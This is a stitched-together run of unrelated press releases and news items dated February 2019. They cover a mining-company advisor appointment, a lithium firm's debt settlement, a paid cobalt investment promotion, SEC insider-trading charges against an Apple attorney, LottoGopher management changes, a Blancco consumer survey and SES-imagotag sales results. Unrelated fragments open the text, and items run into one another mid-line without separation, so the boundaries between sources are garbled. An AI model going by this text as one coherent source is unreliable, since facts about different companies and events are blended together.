As the head of both the Railways as well as Air India, he was able to bridge the gap between his office and employees, using WhatsApp groups mostly, say those who have worked with him.Former Marticks staffers spoke of their memories and anguish over the possibility that the building would be torn down. This would be a grave outcome for this building to be taken down, said Bridget Benzing, who told the commission she had previously worked at the restaurant and had created a petition to prevent it from being razed.Vancouver, British Columbia--(Newsfile Corp. - February 13, 2019) - New Energy Metals Corp. (TSXV: ENRG) (OTC Pink: NEMCF) ("New Energy Metals" or the "Company") is pleased to announce the appointment of Dr. Tom Henricksen, BSc, Ph.D.Geo to its Board of Advisors. A field geologist with five decades of experience, Dr. Henricksen is the recipient of the Association for Mineral Exploration of British Columbia's 2018 Colin Spence Award for Excellence in Global Mineral Exploration. Dr. Henricksen received the prestigious award in recognition of his outstanding contributions to mineral discovery, and for being involved in some monumental discoveries and/or acquisitions across the world.

The Founder and Chief Executive Officer of Plan B Minerals Corp., a mineral exploration company focused on high-grade gold and copper assets, Dr. Henricksen has successfully worked on 40 mineral exploration projects in over 14 countries on 6 continents, including field work for New Energy Metals. In 2012, Dr. Henricksen served as Vice President of Exploration for Aegean Metals Group Inc., leading the senior field team in identifying, evaluating and acquiring two high-grade gold-copper prospects (VMS Hot Maden and Ergama) in Turkey. Prior to this, Dr. Henricksen served as senior field geologist for Apoquindo Minerals Inc., which won a bid from Teck Resources to explore and develop a copper-gold deposit (Zafranal) in Peru, resulting in more than 400 million tons of copper.

In addition to many other successful exploration projects, Dr. Henricksen served as a member of the Arctic exploration team that successfully identified the Red Dog mine in Alaska, now the world's largest zinc reserves. Operated by Teck Resources in partnership with NANA Development Corporation, Red Dog's gross profit in 2017 was $971 million. Before this, Dr. Henricksen led efforts to secure the Eskay Creek mine for US Borax Inc. (a subsidiary of Rio Tinto), which, during the period of Dr. Henricksen's involvement, became the world's highest-grade gold mine and the fifth largest silver mine by volume.

Dr. Henricksen holds a BSc in Geology from the University of Wisconsin, and a Ph.D. in Economic Geology from Oregon State University.

"I am delighted to welcome Tom to the Board of Advisors," commented Cesar Lopez, President and CEO of New Energy Metals. "Tom and I have been involved in a number of successful projects together over the years, and the fact that he was awarded the Colin Spence Award for Excellence in Global Mineral Exploration by AMEBC on January 9, 2019 only proves what I already knew - that Tom is one of the best and most talented geologists in the business. He's a welcome addition to the New Energy Metals team."

"Cesar and I have worked together on many successful projects throughout my career and I welcome the opportunity to join the Board of Advisors. The emerging energy metals market is an exciting place to be working right now and I look forward to what we will accomplish," added Dr. Henricksen.

About the Company

New Energy Metals is focused on the exploration and development of energy metals in Chile. The Company's assets include the Cristal copper project located in northern Chile and several prospective cobalt projects in Chile's past producing San Juan cobalt district.

On behalf of New Energy Metals Corp.

Cesar Lopez, President & CEO

T: 604.484-1232

E: info@newenergymetals.ca

W: www.newenergymetals.ca

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

Cautionary Note Regarding Forward-Looking Statements

This news release contains forward-looking statements and forward-looking information (collectively, "forward-looking statements") within the meaning of applicable Canadian and U.S. securities legislation, including the United States Private Securities Litigation Reform Act of 1995. All statements, other than statements of historical fact, included herein including, without limitation, the Dr. Henricksen will be able to contribute to the Company, anticipated results from exploration activities, and the anticipated business plans and timing of future activities of the Company, are forward-looking statements. Although the Company believes that such statements are reasonable, it can give no assurance that such expectations will prove to be correct. Forward-looking statements are typically identified by words such as: "believes", "will", "expects", "anticipates", "intends", "estimates", "plans", "may", "should", "potential", "scheduled", or variations of such words and phrases and similar expressions, which, by their nature, refer to future events or results that may, could, would, might or will occur or be taken or achieved.

Forward-looking statements involve known and unknown risks, uncertainties and other factors which may cause the actual results, performance or achievements of the Company to differ materially from any future results, performance or achievements expressed or implied by the forward-looking statements. Such risks and other factors include, among others, actual results of exploration activities, the fact that the Company's interests in its mineral properties are only options and there is no guarantee that the interests, if earned, will be certain, requirements for additional capital, future prices of precious metals, copper and cobalt, changes in general economic conditions, changes in the financial markets and in the demand and market price for commodities, other risks of the mining industry, the inability to obtain any necessary governmental and regulatory approvals (including of the TSX Venture Exchange), changes in laws, regulations and policies affecting mining operations, hedging practices and currency fluctuations, as well as those factors discussed under the heading "Risks and Uncertainties" in the Company's most recent management's discussion and analysis and other filings of the Company with the Canadian Securities Authorities, copies of which can be found under the Company's profile on the SEDAR website at www.sedar.com.

Readers are cautioned not to place undue reliance on forward-looking statements. Except as otherwise required by law, the Company undertakes no obligation to update any of the forward-looking information in this news release or incorporated by reference herein.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/42821Denver, Colorado--(Newsfile Corp. - February 13, 2019) - Pure Energy Minerals Limited (TSXV: PE) (OTCQB: PEMIF) (the "Company" or "Pure Energy") announces that, further to its news release of January 11, 2019, it has received regulatory approval to an agreement to settle debt of $34,128.84. The Company issued 262,530 common shares in the capital of the Company at a discounted market price of $0.13 per share.

In addition, subject to regulatory approval, the Company has agreed to settle $54,662.65 owing to a contractor, by the issuance of 420,481 common shares at a price of $0.13 per share.

About Pure Energy Minerals Limited

Pure Energy Minerals is a lithium resource developer that is driven to become a low-cost supplier for the growing lithium battery industry. The Company is developing the Clayton Valley Project ("CV Project") in Clayton Valley, Nevada, the most advanced primary lithium brine project located in North America. The lithium-bearing brines identified at the CV Project contain very low levels of deleterious elements and have been shown by small scale pumping tests to be amenable to conventional extraction. Pure Energy has completed a Preliminary Economic Assessment ("PEA") at the CV Project (news releases of June 26, 2017 and April 5, 2018) and is focused on the advancement of the CV Project.

On behalf of the Board of Directors,

"Mary L. Little"

Director,

Pure Energy Minerals Ltd.

CONTACT:

Pure Energy Minerals Limited (www.pureenergyminerals.com)

Email: info@pureenergyminerals.com; Telephone - 604 608 6611

Cautionary Statements and Forward-Looking Information

The information in this news release contains forward looking statements that are subject to a number of known and unknown risks, uncertainties and other factors that may cause actual results to differ materially from those anticipated in our forward-looking statements. Factors that could cause such differences include: changes in world commodity markets, equity markets, costs and supply of materials relevant to the mining industry, change in government and changes to regulations affecting the mining industry.

The Company does not undertake to update any forward-looking information, except as required by applicable laws.

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

The securities offered have not been, and will not be, registered under the U.S. Securities Act of 1933, as amended (the "U.S. Securities Act"), or any U.S. state securities laws, and may not be offered or sold in the United States or to, or for the account or benefit of, U.S. persons (as defined under the U.S. Securities Act) absent registration or any applicable exemption from the registration requirements of the U.S. Securities Act and applicable U.S. state securities laws. This news release shall not constitute an offer to sell or the solicitation of an offer to buy securities in the United States, nor shall there be any sale of these securities in any jurisdiction in which such offer, solicitation or sale would be unlawful.

NOT FOR DISTRIBUTION TO U.S. NEWSWIRE SERVICES OR FOR RELEASE, PUBLICATION, DISTRIBUTION OR DISSEMINATION DIRECTLY, OR INDIRECTLY, IN WHOLE OR IN PART, IN OR INTO THE UNITED STATES.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/42814TORONTO, ON / ACCESSWIRE / February 13, 2019 / Analysts say Cobalt 27 Capital Corp.'s (OTCQX: CBLLF) (TSXV: KBLT) growing portfolio of battery metal streams and royalties is positioning the Company as an attractive investment vehicle that offers direct exposure to the positive, long-term fundamentals in minerals such as cobalt and nickel, and now lithium.

RBC Capital Markets analyst Andrew Wong, who recently initiated coverage of the Company and gave it an outperform rating, says "Cobalt 27 provides the most direct investment exposure in cobalt through a combination of physical cobalt holdings and streaming assets free from potential sourcing conflicts" and that "...the company's cobalt assets are well positioned to capitalize on two emerging trends- the growing deficit in cobalt metal markets, and the increasing focus on cobalt supply that is free from potential conflict." Wong says he "believes that electric vehicle (EV) adoption is still in the early stages and expect[s] significant growth through 2025, with nickel and cobalt critical to this trend as key elements in advanced battery chemistries."

Meanwhile National Bank of Canada analysts believe that the Company is becoming more diversified and shares could be finding a bottom. In a recent bulletin its analysts maintained their outperform rating on the Company while noting that its macro theme for EV growth remains intact.

Near-Term Cobalt Supply Concerns

As pointed out by Wong, acquiring battery metal assets in conflict-free regions of the world is becoming increasingly difficult. The Democratic Republic of Congo alone accounts for approximately 70% of global cobalt production each year, yet as recent events have shown the country represents a highly unstable and unpredictable jurisdiction for mining companies to operate in.

Take for example the DRC's recent decision to declare cobalt a strategic metal, which made the mineral subject to a 10% royalty. This new royalty directly increases the cost of production for operators within the DRC and could reduce future output or even restrict new, semi-marginal cobalt mines from coming online all together.

The DRC government also suspended exports from one of the world's largest sources of cobalt, the Kamoto mine, in late 2018 after detecting elevated levels of uranium above those allowed for exports. Kamoto is owned by a subsidiary of Glencore Plc called Katanga Mining. Katanga has recently said it expects the export ban to last until late 2019 to allow time to permit and build an ion exchange plant to reduce the levels of uranium in its cobalt hydroxide product. The DRC's Minister of Mines has requested that construction of the ion exchange plant be suspended after citing concerns around the technical solutions offered by Katanga Mining.

Kamoto was projected to produce 26,000 tons of cobalt in 2019, which would have made it one of the world's single largest sources of cobalt. With its future unclear, at least in the near term, spot prices of cobalt could rise as new supplies are unable to come online quickly enough to fill the void.

Long-Term EV Demand to "Drive" Cobalt and Nickel Consumption

In addition to short-term supply shortages, long-term demand fundamentals for battery metals continue to look robust as well. In a recent report RBC Capital Markets said that it expects the cobalt market to enter into a significant long-term deficit in the early-2020's as EV demand outpaces planned supply. RBC also stated that it believes the cobalt market may be nearing a bottom and could stabilize in 2019 as prices approach marginal cost, while the long-term price outlook rises as the cobalt market tightens starting 2022.

National Bank of Canada analysts see robust demand on the EV side as well, noting that sales of "pure electric and plug-in hybrid vehicles are up ~65% YTD to the end of November, with a total of ~1.7 mln new EV's entering the market. With visibility on new vehicle models and battery plants under construction, we believe the market could grow at a CAGR of >30% for the next 7 years, putting increased pressure on the materials supply chain."

National Bank also pointed out that the automotive industry has seen over $300 billion of procurement and investment commitments in just the last few years from the likes of Tesla, Ford, General Motors and many other large automakers. Analysts believe that these types of investments underpin their forecasted cobalt demand over the next few years and creates the potential for a shortage, which could lead to higher battery metal prices across the board.

This could bold well for Cobalt 27 shareholders as the Company holds one of the world's largest private stockpiles of physical cobalt totaling over 2,900 metric tonnes. In addition, the Company continues to invest in its cobalt, nickel and lithium-focused portfolio of streams, royalties and direct interests in mineral properties containing battery metals.

Forward-Looking Statements

This article contains certain information which constitutes 'forward-looking statements' and 'forward-looking information' within the meaning of applicable Canadian securities laws. Forward-looking statements involve known and unknown risks and uncertainties, most of which are beyond the Company's control. For more details on these and other risk factors see the Company's most recent Annual Information Form on file with Canadian securities regulatory authorities on SEDAR at www.sedar.com under the heading "Risk Factors". Should one or more of the risks or uncertainties underlying these forward-looking statements materialize, or should assumptions underlying the forward-looking statements prove incorrect, actual results, performance or achievements could vary materially from those expressed or implied by the forward-looking statements. Accordingly, undue reliance should not be placed on these forward-looking statements.

Cautionary Statement:

Junior Mining Network ('JMN') is not a financial advisory or advisor, investment advisor or broker-dealer and does not undertake any activities that would require such registration. The information contained herein is not intended to be used as the basis for investment decisions and should not be considered as investment advice or a recommendation, nor is the information an offer or solicitation to buy, hold or sell any security. JMN does not represent or warrant that the information posted is accurate, unbiased or complete and make no representations as to the completeness or timeless of the material provided. JMN receives fees for producing content on financial news and has been compensated US$750 by Cobalt 27 Capital Corp. to publish this report. Investors should consult with an investment advisor, tax and legal consultant before making any investment decisions. All materials are subject to change without notice.

CONTACT:

info@juniorminingnetwork.com

SOURCE: Junior Mining Network

View source version on accesswire.com:https://www.accesswire.com/535236/Analysts-Say-Cobalt-27-Capital-Corp-Transforming-into-Premier-Battery-Metals-Investment-Vehicle-Continued-EV-Demand-Set-to-Drive-Cobalt-and-Nickel-ConsumptionWashington, D.C.--(Newsfile Corp. - February 13, 2019) - The Securities and Exchange Commission today filed insider trading charges against a former senior attorney at Apple whose duties included executing the company's insider trading compliance efforts.

The SEC's complaint alleges that Gene Daniel Levoff, an attorney who previously served as Apple's global head of corporate law and corporate secretary, received confidential information about Apple's quarterly earnings announcements in his role on a committee of senior executives who reviewed the company's draft earnings materials prior to their public dissemination. Using this confidential information, Levoff traded Apple securities ahead of three quarterly earnings announcements in 2015 and 2016 and made approximately $382,000 in combined profits and losses avoided. The SEC's complaint alleges that Levoff was responsible for securities laws compliance at Apple, including compliance with insider trading laws. As part of his responsibilities, Levoff reviewed and approved the company's insider trading policy and notified employees of their obligations under the insider trading policy around quarterly earnings announcements.

"Levoff's alleged exploitation of his access to Apple's financial information was particularly egregious given his responsibility for implementing the company's insider trading compliance policy," said Antonia Chion, Associate Director of the SEC's Division of Enforcement. "The SEC is committed to pursuing insiders who breach their duties to investors."

The SEC's complaint, filed in federal district court in Newark, New Jersey, charges Levoff with fraud and is seeking the return of his ill-gotten trading profits plus interest, penalties, a permanent injunction, and an officer-and-director bar.

In a parallel action, the U.S. Attorney's Office for the District of New Jersey today announced criminal charges.

The SEC's investigation, which is continuing, has been conducted by Pei Chung and Elizabeth Doisy. The case has been supervised by Deborah A. Tarasevich and Ms. Chion. The litigation will be led by Daniel Maher and Cheryl Crumpton. The SEC appreciates the assistance of the U.S. Attorney's Office for the District of New Jersey, the Federal Bureau of Investigation, and the Financial Industry Regulatory Authority.Vancouver, British Columbia--(Newsfile Corp. - February 13, 2019) - LottoGopher Holdings Inc. (CSE: LOTO) (OTC Pink: LTTGF) (FSE: 2LG) ("LottoGopher" or the "Company") is pleased to announce that due to a reorganization of management, ahead of the Company's transformative acquisition of Bravio Technologies, Mr. Greg Cavers has been appointed to the Board of Directors and as Chief Financial Officer and Mr. Edward J. Tobin has been appointed to the Board of Directors and as interim Chief Executive Officer.

Greg Cavers is a dedicated, proactive professional with over 15+ years' of financial experience. Operating as a strategic CFO Mr. Cavers specialises in the financial modeling of scalable operations. Mr. Cavers Key strengths are Financial reporting, IFRS; Regulatory reporting OSFI, MFDA; Management reporting and Tax requirements; Strategic operational Budgeting and Forecasting; Cash Flow modeling and Acquisition Due-diligence; as well as Systems implementation and process re-engineering. Mr. Caver's initial role with LottoGopher will see him manage internal and external audit requirements for IFRS, US GAAP and help guide LottoGopher through its current transaction.

Edward J. Tobin is the current COO of PlasmaNet Inc. Managing Director of 1847 Partners LLC. Mr. Tobin was previously a Director of Global Emerging Markets North America, Inc. (GEM), where for 15 years he managed Special Situations and Venture investing for GEM's Partners Capital Fund. Mr. Tobin was also a principal and on the investment committee of the MENA Fund, a Shari'ah compliant private equity fund which was a joint venture between GEM and VC Bank, itself a Shari'ah compliant bank based in Bahrain. In addition to these activities, while at GEM Mr. Tobin oversaw structured finance transactions in industries such as clean tech, consumer/retail, alternative finance, media, telecommunications, manufacturing, retailing, real estate and life sciences. Prior to joining GEM, Mr. Tobin was Managing Director of Lincklaen Partners, a private family investment office. Previously, he had been a portfolio manager with Neuberger and Berman, managing both pension funds and private client capital in the public equity markets. Prior to N&B, he was a Vice President of Nordberg Capital, Inc. Mr. Tobin serves as a Board member of 1847 Holdings LLC, Peekay Boutiques, Inc., PPI Management LLC, and GEM Holdings LLC, in addition to his various philanthropic activities. Mr. Tobin received his MBA from the Wharton School, as well as a Master of Science in Engineering and a Bachelor of Science in Economics from the University of Pennsylvania.

Ali Zamani LottoGopher director commented: "The newly appointed LottoGopher leadership team is in full support of the current transaction and aims to finalize the RTO transaction with Bravio by the end of March. Management will ensure to keep our shareholders up to date as things progress. Speaking on behalf of the whole LottoGopher team I would like to take this opportunity to thank our existing shareholders for their continued support and patience as both parties focus on the merge and the exciting times ahead for the combined company."

Ali Zamani, a current director of the Company, has stepped down as interim Chief Financial Officer, he will hand over the role to Mr. Cavers with immediate effect.

Furthermore, James Morel has resigned from his role as a director, Chief Executive Officer and President of the Company and Saveneet Singh has resigned from his role as a director of the Company. The Company would like to thank Messrs. Singh and Morel for their hard work and contributions to the Company.

About LottoGopher

LottoGopher Holdings owns and operates websites including LottoGopher.com and FreeLotto.com. LottoGopher.com is a lottery messenger service that allows users to easily order and manage their state lottery tickets online using a debit or credit card. By allowing individuals to choose their numbers and safely order tickets for the official lottery drawings in California, LottoGopher makes it simple for users to keep track of their tickets and winnings. LottoGopher Holdings also owns and operates the FreeLotto.com sweepstakes, online marketing and free member acquisition website. FreeLotto.com has attracted over 65 million members to date and has awarded nearly $100 million in prize money. Since its inception in 1999, FreeLotto members have played over 3.7 billion games. Currently, the FreeLotto website attracts over 7.3 million unique visitors per month and produces over 20,000 small prize winners per month. A global online database company, FreeLotto is a proven direct marketing model that offers free membership and a subscription service for its daily sweepstakes games.

On behalf of the Board of LottoGopher Holdings Inc.

Edward J. Tobin

Director & Interim CEO

866-LOTTO-GO

For Investor Information, please visit LottoGopher.com/investor

Contact Us

ir@lottogopher.com







Media Inquires

866-LOTTO-GO







Forward-Looking Statement







This news release contains statements and information that, to the extent that they are not historical fact, constitute "forward-looking information" within the meaning of applicable securities legislation. Forward-looking information may include financial and other projections, statements regarding expansion plans, as well as statements regarding future plans, objectives or economic performance, or the assumption underlying any of the foregoing. Statements in this news release relating to the Company's proposed change of business are forward-looking information. Forward-looking information is based on the reasonable assumptions, estimates, analysis and opinions of management made in light of its experience and its perception of trends, current conditions and expected developments, as well as other factors that management believes to be relevant and reasonable in the circumstances at the date that such statements are made, but which may prove to be incorrect.







Forward-looking information involves known and unknown risks, uncertainties and other factors that may cause the actual results, performance or achievements of the Company to differ materially from any future results, performance or achievements expressed or implied by the forward-looking information. In respect of the Company's plans to pursue a change of business, risks would include the ability of the Company to obtain additional financing on acceptable terms.. Accordingly, readers should not place undue reliance on any such forward-looking information. Further, any forward-looking statement speaks only as of the date on which such statement is made. New factors emerge from time to time, and it is not possible for the Company's management to predict all of such factors and to assess in advance the impact of each such factor on the Company's business or the extent to which any factor, or combination of factors, may cause actual results to differ materially from those contained in any forward-looking statements. The Company does not undertake any obligation to update any forward-looking information to reflect information, events, results, circumstances or otherwise after the date hereof or to reflect the occurrence of unanticipated events, except as required by law including securities laws.







The CSE has in no way passed upon the merits of the Transaction and has neither approved nor disapproved the contents of this news release. Neither the CSE nor its Regulation Services Provider (as that term is defined in the policies of the CSE) accepts responsibility for the adequacy or accuracy of this release.







To view the source version of this press release, please visit https://www.newsfilecorp.com/release/42813Lucrative revenue source for operators, OEMs and third-party logistics providers could be diminished without clear assurances around responsible data management

AUSTIN, Texas and LONDON, Feb. 13, 2019 /PRNewswire/ -- Results of an exclusive global consumer research study examining consumer sentiment and actions for trading in mobile devices was released today by Blancco Technology Group (LON: BLTG), the industry standard in data erasure and mobile device diagnostics. Blancco found that 58 percent of global consumers surveyed have yet to trade in an old device, though almost two-thirds (64%) globally reported they would be willing to do so if more stringent data management processes were in place.

This is good news for mobile operators, OEMs and third-party logistics providers (3PLs) who, according to Counterpoint Research, have seen revenues for the used device market grow faster than the market for new devices. According to IDC, the worldwide refurbished phone market is estimated to be worth $52.7 billion by 2022.

Blancco's study, titled "The Critical Importance of Consumer Trust in the Second-Hand Mobile Market," proves the need to maintain consumer trust if the secondary mobile device market is to meet current expectations. In fact, 66 percent of respondents globally revealed some concern that data on their old devices might be accessed or compromised after trade-in. This mistrust among global consumers could be attributed in part to recent high-profile incidents of data misuse, such as the Facebook and Cambridge Analytica scandal.

"The secondary mobile device market is a huge success story," said Russ Ernst, EVP, Products & Technology, Blancco. "Each of its major stakeholders - operators, OEMS and 3PLs - have so much more value to extract from it as more global consumers choose to sell or buy used equipment if they trust in the process of used device collection and redistribution. Our study makes it clear, however, device collections will accelerate only if operators, OEMs and 3PLs remain fiercely committed to data management and device erasure best-practices."

Additional global findings:

40 percent of global consumers experiencing a data breach would switch operator or OEM provider, while 54 percent of global consumers wouldn't trust the brand and 49 percent wouldn't use the company again

Almost half (48 percent) of consumers would seek legal advice if they were to fall victim to a data breach after trading in an old device

59 percent of global respondents called for stronger regulation to ensure tighter data controls are implemented to prevent breaches of their personal information

Specific U.S-based findings:

35 percent of respondents have never been offered the option to trade-in their device, the lowest percentage of any of the countries surveyed

68 percent of respondents said they'd consider trading in their old devices if there were tighter controls to ensure responsible data management

17 percent of respondents are concerned that the data on their old device might be compromised/accessed after trade-in, indicating a false sense of security

The need for tighter regulation for the secondary device market is highlighted by the sheer quantity of illegitimate mobile retail organizations currently looking to buy and sell used devices. These operations regularly buy and sell used devices from consumers without complying with any data security guidelines. Interestingly, when consumers were asked where they would consider selling their used devices, 36 percent admitted they would prefer to sell them directly on eBay or Amazon rather than via mobile operators or specialist online trading sites where consumers have no assurances their data is being properly erased before the device is resold. These often-illegitimate, ungoverned practices undermine trust in the secondary device market and must be properly regulated to preserve and maintain consumer confidence.

"Without a common, mandated and regulated rule book for smartphone processing, the ecosystem will be subject to abuse and malicious attack," Ernst said. "The current ecosystem is made up of multiple stakeholders that collect devices from various touchpoints and redistribute them to many other parties. Since the speed of device processing is the only critical success factor, and as more devices flood the market, the chances of data breaches or issues related to data misuse will become increasingly likely. The secondary device market remains an amazingly lucrative and exciting opportunity for everyone, but only if it retains full consumer confidence built on trust and data integrity."

For full analysis, read the report "The Critical Importance of Consumer Trust in the Second-Hand Mobile Market" here.

About the research

The study was commissioned by Blancco Technology Group and conducted independently by Sapio Research in December 2018 and January 2019. Respondents were 5,000 consumers divided equally between the UK, the United States, Germany, India and the Philippines.

About Blancco Technology Group

Blancco is the industry standard in data erasure and mobile device diagnostics. Blancco data erasure solutions provide thousands of organizations with the tools they need to add an additional layer of security to their endpoint security policies through secure erasure of IT assets. All erasures are verified and certified through a tamper-proof audit trail.

Blancco data erasure solutions have been tested, certified, approved and recommended by 18 governing bodies and leading organizations around the world. No other data erasure software can boast this level of compliance with the rigorous requirements set by government agencies, legal authorities and independent testing laboratories.

Blancco Mobile Diagnostics solutions enable mobile network operators, retailers and call centers to easily, quickly and accurately identify and resolve performance issues on their customers' mobile devices. As a result, mobile retailers can spend less time dealing with technical issues and, in turn, reduce the quantity of NTF returns, save on operational costs and increase customer satisfaction.

Additionally, Blancco Mobile Diagnostics solutions empower mobile processors, 3PLs, Recyclers and Repair & Refurbishment Operations to easily, quickly and accurately process used mobile devices to identify any issues and determine overall value. By incorporating Blancco Mobile Diagnostics, mobile processors automate processes, deliver intelligent routing based on device attributes and increase overall efficiency, while driving incremental revenue and profitability.

Contacts

CCgroup for Blancco Technology Group (UK)

Abbie Godward / Adam Millar

T: +44 (0) 20 3824 9214

E: blancco@ccgrouppr.com

CCgroup for Blancco Technology Group (US)

Lori Scribner

T: +1 619 798 0043

E: blancco@ccgrouppr.com

Blancco Technology Group

Liz Adams, Global Marketing Director

T: +44 (0) 7725 010 412

E: liz.adams@blancco.com

Logo - https://mma.prnewswire.com/media/274522/blancco_Logo.jpg2018 SES-imagotag Full-Year Sales:

Strong growth at 187.7m (+22.7%)

Record year driven by sharp acceleration in H2 (+84% vs H2 2017)

Annual sales of 187.7m, an increase of +22.7%, compared with FY 2018 Revenue Guidance of +20%

New manufacturing facilities now fully on stream enabling accelerated roll out of the VUSION Retail IoT Cloud platform

Orders rose +25.4% to 251.1m, aided by several strategic wins

Major strategic alliances with partners including Microsoft and Cisco enabling greater connectivity of VUSION platform and access to Cloud based technology

First fruits of manufacturing, technology and distribution partnership with BOE coming through

FY 2019 Revenue growth expected to be in the region of +30%

Thierry Gadou, Chairman and CEO of the SES-imagotag group said: "We have achieved a triple record in a pivotal year during which we laid the foundations for accelerated growth through our partnership with BOE and the implementation of our ambitious VUSION 2022 Strategic Plan. We had a record Q4, a record second half and a record full year, enabling us to come in comfortably ahead of our forecast of +20% sales growth in 2018. The efforts we have made over the last two years to position ourselves for accelerated growth is now bearing fruit with higher sales and higher orders. We are encouraged by the increase in international sales, both in Europe and outside Europe. We have seen important breakthroughs in key strategic markets such as Germany, Switzerland, Benelux, China and Japan where we see high potential for growth. These developments and the particularly strong showing in the second half of 2018, give us confidence that we have the momentum to continue our growth into 2019 and beyond."

Sales France International Total Q4 2017 12.8 10.9 23.8 Q4 2018 21.5 44.0 65.5 % change 67.4% +302.2% +175.4% H2 2017 31.4 26.1 57.6 H2 2018 33.2 73.3 106.5 % change 5.5% +180.6% +84.1% FY 2017 69.0 84.0 153.0 FY 2018 59.4 128.3 187.7 % change -13.9% +53.2% +22.7%

2018 A Pivotal Year

The year was one of successful transition as SES-imagotag laid the foundations for the acceleration of its growth through the implementation of the VUSION 2022 Strategic Plan, which is targeting sales of 800m by 2022. Thanks to the successful ramp up of new state-of-the-art manufacturing facilities in Asia, SES-imagotag was able to accelerate the fulfilment of existing orders in the second half. H2 Revenue rose +84.1% to 106.5m compared with the same half in 2017, more than compensating for the planned first half decline of 14.9% to 81.2m. As had been communicated well in advance to the market, the implementation of certain orders needed to be held back in order to regulate workflow so as to allow the new production facilities to successfully come on-stream. With production accelerating back up in the second half, SES-imagotag saw total revenue for the year as a whole come in at 187.7m, up +22,7% on FY2017. This was a record performance and is comfortably ahead of FY Revenue Guidance which was for a +20% uplift in revenue for the year. There was a particularly marked improvement in Q4, as sales were up +175.4% compared with Q4 2017.

Accelerating Adoption of ESL

Particularly encouraging was the growth in international sales. This has been a key objective for

SES-imagotag and part of the rationale underpinning the BOE partnership and the VUSION 2022 plan unveiled last year. Activity in France, the industry's most mature market, went from 69.0m to 59.4m due to fewer roll-outs in 2018 but saw growth in H2 that should continue in 2019. Sales outside of France rose by +180% in H2 to 73.3m. International sales for the year as a whole totalled 128.3m, or 68% of total sales. Sales outside of Europe accounted for over 15% of sales. This is set to increase further given the faster growth rates and greater take-up of digital solutions anticipated particularly in America and in Asia, where SES-imagotag is now strongly positioned. This is in line with the VUSION 2022 plan which targeted 25% of total sales ex-Europe in 2020 and 50% in 2022.

Strong Order Book

Order intake was also strong. FY Order Intake stood at 251.1m, an increase of +25.4% year-on-year. The figure of 113.2m booked in H2, was up +17.5% compared with the H2 2017.

Much of the growth in orders was driven by the growing customer take-up of SES-imagotag's innovative VUSION Retail IoT (Internet of Things) Cloud platform and its growing appeal to physical retailers, seeking to digitalize their operations in response to the increasing challenge posed by e-Commerce and cost pressures in general.

Major 2018 wins

Underpinning the successful progress in 2018, were important strategic client wins. These include, amongst others, many leading retailers in their markets such as Colruyt, the leading Belgian Food retailer. SES-imagotag also inked a roll-out contract with one of the global top 10 food retailers, and signed an agreement with Coop, the leading Swiss food retailer to roll out its E-paper smart label system.

Other significant wins in 2018 included contracts to continue roll-out in leading Nordic CE retailer Elkjop's stores, while in an important breakthrough in the Gulf, SES-imagotag won a contract with Sharaf DG, the Number 1 retailer in its sector in the Middle East, to equip the chain's stores. In Germany, the Euronics group also selected SES-imagotag for its stores, while in China Xiaomi recently rolled-out its shops with VUSION smart labels, highlighting a global trend in this industry towards the adoption of ESL technology. Another major first recorded in 2018, was a contract to equip one of Japan's leading retailers, a significant foothold in a globally significant market which has traditionally been regarded as difficult for foreign entities to enter successfully.

In addition, SES-imagotag is currently operating numerous pilots with top retailers in other strategic markets such as China, US and UK where there is significant potential interest.



Building the world's largest Retail IoT ecosystem

Over the year, a number of key alliances have been formed, as SES-imagotag has been actively building what is now the world's largest Retail IoT ecosystem. This ecosystem enhances VUSION's versatility as a platform which plugs seamlessly in to the more agile, lower-cost, cloud-based industry data, logistics and payments management systems and technologies now prevailing in the world.

Among strategic agreements that are underpinning this wider SES-imagotag ecosystem, are partnerships with Aruba, Cisco Systems, Microsoft, and Wirecard. The ability of stores to automate low value-added and error-prone manual price changes, while delivering end-to-end inventory management through automatic stockouts detection and precise in-store product geolocation is increasingly being recognized as a major weapon in the armoury of physical retailers as they seek to adapt and maintain their appeal to customers in an increasingly challenging environment.

Thanks to the success of the new VUSION platform, supported by Microsoft Azure, over 40 million electronic shelf labels are now connected to SES-imagotag's Retail IoT Cloud.

Good start to 2019

The robust acceleration in sales in H2 and particularly in Q4 has given SES-imagotag strong momentum going into 2019. Based on that healthy ongoing momentum, SES-imagotag continues to expect revenue growth for FY2019 in the region of +30%, based on a strong sales pipeline for the year ahead. Among factors that are expected to continue to support this more rapid growth trajectory are the growing evidence of widespread adoption of the VUSION platform worldwide, the strong supportive and rapidly growing eco-system of partnerships with related technology suppliers, and the expanded suite of products and functionality at a time when physical retailers are under extreme pressure to improve their agility, cost structures and relevance to an increasingly demanding customer base.

About SES-imagotag

For 25 years, SES-imagotag has been the trusted partner of retailers for in-store digital technology. SES-imagotag, the worldwide leader in smart digital labels and pricing automation, has developed a comprehensive IoT and digital platform that delivers a complete set of services to retailers.

The SES-imagotag solution enables retailers to connect and digitally transform their physical stores; automate low-value-added processes; improve operational efficiency; inform and serve customers; ensure information integrity to continuously optimize on-hand inventory; prevent stock-outs and waste and create an omni-channel service platform that builds loyalty and meets evolving consumer expectations.

www.ses-imagotag.com

SES-imagotag is listed in compartment B of the Euronext Paris

Ticker: SESL - ISIN code: FR0010282822 - Reuters: SESL.PA - Bloomberg: SES

Contact

Shan - Investor Relations & Financial Communications

Sarah Levy-Quentin: Tel: +33 (0)1 44 50 03 84 / sesimagotag@shan.fr

------------------------



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Communique integral et original au format PDF:Telecharger le PDFDual governance structure set up: Eric Le Gentil appointed Chairman of the Board of Directors, Vincent Ravat appointed Chief Executive Officer and Elizabeth Blaise appointed Deputy CEO

set up: Eric Le Gentil appointed Chairman of the Board of Directors, Vincent Ravat appointed Chief Executive Officer and Elizabeth Blaise appointed Deputy CEO 2.5% increase in invoiced rents like-for-like excluding indexation1, higher than the target of +2%, with +3.7% growth including indexation

4.5% increase in Funds from Operations (FFO) excluding the impact of the carrying cost for the refinancing of the bond maturing in March 2019 , significantly higher than the +2% target. Including this effect, FFO is up +1.0% to Euro 115.1M

, significantly higher than the +2% target. Including this effect, FFO is up +1.0% to Euro 115.1M EPRA NNNAV up +2.9% year-on-year to Euro 21.14 per share

